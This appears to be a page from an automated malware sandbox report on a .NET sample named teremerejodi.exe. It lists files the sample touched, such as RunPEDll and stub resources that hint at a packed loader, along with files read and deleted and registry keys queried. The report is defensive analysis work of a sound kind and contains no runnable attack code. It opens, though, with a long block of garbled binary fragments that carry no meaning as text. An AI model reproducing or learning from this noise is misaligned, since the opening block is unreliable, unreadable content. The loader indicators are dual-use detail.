yRQdBLL
.;6}
w3M~
H?T>
rd,|h
IzY0'-
*h/
)7g6X
g.nT8m
d6%
AmvQK
\-jkX
n+$D
.v5v
]h8"
wk,^
K<]v
POe
g$<G
z_Y5
Oc|l?
'fL*
o-`a
Dg-t
5`sg
#zax
"]Ty=
kp&h7L
m<q/
zP|i
V=Gj
7+A,jB
`i(&
jU&w
C{,K
:\=M
eo
h@vz/
" Z7h
ec#KW-
^l^}
#q^)dg
>1I3
=mY]
[8nX
Wugu
g
vs
6,-$
*@x/'
fRxF4
Eaa
>
01Nc
)N1j
27}3[
7]*S
<K=l
kyZn
bJ-
@
)
K"
QYg
f,Pj
Skl;
NU&'
hwqc
87qD
+u E
:z:
4FIi
HAt
p&7a`
F.~zp;5
"Fd03
g'U,YMi
m>R-Q
r@.H
1jc}c7w
._xF
'5`T$
;%l9
kM
o
Uu"(
&t={4
`Ev!n
8 e$
H*j
]0a!
V)Ra
;q~c
Ef];kXSv
{zq2F
1io'
w

8
$z!I
T,O\
(a
'
9<"Y
KW
e7DJ
rAl"
&g$e
9ksF.$B
\System.String[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089PA
*P-@,
r{`
z~^(
7
:FCu
^R
z
M-9
l'
#
Mi%U
&7l\;
@xOAQ
@ta	3
b7}P	>
R?`z
!g1%
S"i>
wV8t
0Lrb
System.Collections.Generic
:,;%
h	zg
NT;0
4sQ
fAoaO.
R4}8A
=|Fy
Ab]
[\L6{
jp=}
xD,
%B~B
xsXn
-4#X
pZ/[n
k"R,{6
System.Windows.Forms
(9	^,4
=BD|
"$p2
+=isL\
"	[9
Ir9ZQ
`d}
^gH6+D
2E<H
3AIX]wz
t\p>J
B\%i
o>s|
'TD
!KJihRdrRI1xp4dm05PMZCNjlHGxljHorv
yebbe
M(4]H
UqOh
WQ*2M
:A!+Z
gi}>Y
knie
AuR
b.e
E'pNV`
System.Security.Permissions.SecurityPermissionAttribute, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
>TF<
vRjfX
1`MQ
GYm
xVG
	~
BUq4
@;Tw
-I1
F0>>
Ghk;R5
)gOeK
PGF
zdMoO
E6:e4
A5v*2
b*W*
UMBo
0?d=%Z
V]wEH
MO=xpF
|28{
cBus
1;
"+TZ
?*;6
kSM<
"vXc0
mdy=.
VFC$
Usw3
+:{
-Q>B_
C[Jc
L2#q
).yr}
~1[3
"<5!/
XRJ}
}
!4
w	4K
4J%d&
EhVL_u
g1ex*
Gx0
v7#Kq
ww[5
&SL[i
.K?M
JD{
_O?-
WwXZe
w0jwh
*Sr"
T}7"
w##+
%[N0
I?(((()(((
j	^KT
Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven05b_64 Seven05b_64 VirtualBox 2018-05-14 07:59:43 2018-05-14 08:02:41 178

6 Behaviors detected by system signatures

Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven05b_64 Seven05b_64 VirtualBox 2018-05-14 07:59:43 2018-05-14 08:02:41 178

8 Summary items with data

Files

C:\Windows\System32\MSCOREE.DLL.local
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll
C:\Windows\Microsoft.NET\Framework\*
C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll
C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll
C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll
C:\Users\Seven01\AppData\Local\Temp\teremerejodi.exe.config
C:\Users\Seven01\AppData\Local\Temp\teremerejodi.exe
C:\Users\Seven01\AppData\Local\Temp\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\system\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\ProgramData\Oracle\Java\javapath\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\wbem\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\WindowsPowerShell\v1.0\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Users\Seven01\AppData\Local\Temp\teremerejodi.exe.Local\
C:\Windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6229_none_d089f796442de10e
C:\Windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6229_none_d089f796442de10e\msvcr80.dll
C:\Windows
C:\Windows\winsxs
C:\Windows\Microsoft.NET\Framework\v4.0.30319
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\fusion.localgac
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch
C:\Windows\assembly\NativeImages_v2.0.50727_32\index126.dat
C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\62a0b3e4b40ec0e8c5cfaa0c8848e64a\mscorlib.ni.dll
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.INI
C:\Users
C:\Users\Seven01
C:\Users\Seven01\AppData
C:\Users\Seven01\AppData\Local
C:\Users\Seven01\AppData\Local\Temp
C:\Windows\System32\l_intl.nls
C:\Windows\Microsoft.NET\Framework\v2.0.50727\ole32.dll
\Device\KsecDD
C:\Users\Seven01\AppData\Local\Temp\teremerejodi.INI
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorjit.dll
C:\Windows\assembly\pubpol23.dat
C:\Windows\assembly\GAC\PublisherPolicy.tme
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG
C:\Windows\assembly\NativeImages_v2.0.50727_32\System\9e0a3b9b9f457233a335d7fba8f95419\System.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Drawing\dbfe8642a8ed7b2b103ad28e0c96418a\System.Drawing.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\3afcd5168c7a6cb02eab99d7fd71e102\System.Windows.Forms.ni.dll
C:\Windows\assembly\GAC_MSIL\System.Windows.Forms\2.0.0.0__b77a5c561934e089\System.Windows.Forms.INI
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.INI
C:\Windows\assembly\GAC_MSIL\System.Drawing\2.0.0.0__b03f5f7f11d50a3a\System.Drawing.INI
C:\Windows\System32\tzres.dll
C:\Windows\Globalization\it-it.nlp
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
C:\Users\Seven01\AppData\Local\Temp\it-IT\teremerejodi.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\teremerejodi.resources\teremerejodi.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\teremerejodi.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it-IT\teremerejodi.resources\teremerejodi.resources.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\Culture.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it-IT\mscorrc.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it-IT\mscorrc.dll.DLL
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it\mscorrc.dll
C:\Windows\Globalization\it.nlp
C:\Users\Seven01\AppData\Local\Temp\it\teremerejodi.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it\teremerejodi.resources\teremerejodi.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it\teremerejodi.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it\teremerejodi.resources\teremerejodi.resources.exe
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\bcrypt.dll
C:\Windows\Globalization\en-us.nlp
C:\Windows\assembly\GAC_32\mscorlib.resources\2.0.0.0_it-IT_b77a5c561934e089
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it-IT_b77a5c561934e089
C:\Windows\assembly\GAC\mscorlib.resources\2.0.0.0_it-IT_b77a5c561934e089
C:\Users\Seven01\AppData\Local\Temp\it-IT\mscorlib.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\mscorlib.resources\mscorlib.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\mscorlib.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it-IT\mscorlib.resources\mscorlib.resources.exe
C:\Windows\assembly\GAC_32\mscorlib.resources\2.0.0.0_it_b77a5c561934e089
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089
C:\Windows\assembly
C:\Windows\assembly\GAC_MSIL
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089\mscorlib.resources.dll
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089\mscorlib.resources.INI
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\psapi.dll
C:\Users\Seven01\AppData\Local\Temp\RunPEDll.dll
C:\Users\Seven01\AppData\Local\Temp\RunPEDll\RunPEDll.dll
C:\Users\Seven01\AppData\Local\Temp\RunPEDll.exe
C:\Users\Seven01\AppData\Local\Temp\RunPEDll\RunPEDll.exe
C:\Users\Seven01\AppData\Local\Temp\it-IT\stub.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\stub.resources\stub.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\stub.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it-IT\stub.resources\stub.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it\stub.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it\stub.resources\stub.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it\stub.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it\stub.resources\stub.resources.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch.2500.8480546
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch.2500.8480546
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch.2500.8480562
C:\Windows\SysWOW64\ntdll.dll

Read Files

C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll
C:\Users\Seven01\AppData\Local\Temp\teremerejodi.exe.config
C:\Users\Seven01\AppData\Local\Temp\teremerejodi.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll
C:\Windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6229_none_d089f796442de10e\msvcr80.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch
C:\Windows\assembly\NativeImages_v2.0.50727_32\index126.dat
C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\62a0b3e4b40ec0e8c5cfaa0c8848e64a\mscorlib.ni.dll
C:\Windows\System32\l_intl.nls
\Device\KsecDD
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorjit.dll
C:\Windows\assembly\pubpol23.dat
C:\Windows\assembly\NativeImages_v2.0.50727_32\System\9e0a3b9b9f457233a335d7fba8f95419\System.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Drawing\dbfe8642a8ed7b2b103ad28e0c96418a\System.Drawing.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\3afcd5168c7a6cb02eab99d7fd71e102\System.Windows.Forms.ni.dll
C:\Windows\System32\tzres.dll
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
C:\Windows\Microsoft.NET\Framework\v2.0.50727\Culture.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it\mscorrc.dll
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089\mscorlib.resources.dll
C:\Windows\SysWOW64\ntdll.dll

Write Files

Nothing to display

Delete Files

C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch.2500.8480546
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch.2500.8480546
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch.2500.8480562

Keys

HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Policy\
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\v4.0
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\InstallRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\CLRLoadLogDir
HKEY_CURRENT_USER\Software\Microsoft\.NETFramework
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\OnlyUseLatestCLR
Policy\Standards
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\Standards
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\Standards\v2.0.50727
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SideBySide\PreferExternalManifest
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide\AssemblyStorageRoots
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStart
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStartAtJit
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DisableConfigCache
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Policy\AppPatch
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\AppPatch\v4.0.30319.00000
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\AppPatch\v4.0.30319.00000\mscorwks.dll
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\teremerejodi.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\CacheLocation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DownloadCacheQuotaInKB
HKEY_CURRENT_USER\Software\Microsoft\Fusion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\EnableLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LoggingLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\ForceLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogFailures
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\VersioningLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogResourceBinds
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\UseLegacyIdentityFormat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DisableMSIPeek
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DevOverrideEnable
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Security\Policy\Extensions\NamedPermissionSets
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Security\Policy\Extensions\NamedPermissionSets\Internet
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Security\Policy\Extensions\NamedPermissionSets\LocalIntranet
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-1822907384-1282624486-319450072-1000
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\v2.0.50727\Security\Policy
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\LatestIndex
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\NIUsageMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\ILUsageMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\LastModTime
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\GACChangeNotification\Default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\mscorlib,2.0.0.0,,b77a5c561934e089,x86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\40eeda9a\7b1d6899
HKEY_LOCAL_MACHINE\Software\Microsoft\StrongName
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\PublisherPolicy\Default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\Latest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\index23
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\LegacyPolicyTimeStamp
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Windows.Forms__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\LastModTime
